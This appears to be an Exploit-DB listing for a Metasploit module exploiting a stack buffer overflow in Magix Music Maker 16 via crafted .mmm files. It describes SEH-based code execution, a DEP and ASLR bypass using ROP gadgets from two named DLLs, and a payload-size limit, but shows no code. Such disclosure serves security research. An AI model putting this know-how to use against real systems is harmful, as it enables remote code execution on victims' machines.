Magix Musik Maker 16 - '.mmm' Local Stack Buffer Overflow (Without EggHunter) (Metasploit)

EDB-ID:

17329

CVE:



Platform:

Windows

My version of exploit...
Looks like bug the same as in:
http://www.exploit-db.com/exploits/17313/

My exploit does not use egg-hunter,  so it must be faster, but i have limited size for payload -
750 bytes 8) 
Speed Vs Size...

                    This module exploits a stack buffer overflow in Musick Maker 16
                When opening a malicious .MMM file in Music Maker, a stack buffer occurs,
                resulting in arbitrary code execution via SEH.
                This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7. LTKRN14n.dll and LTDIS14n.dll used for ROP.
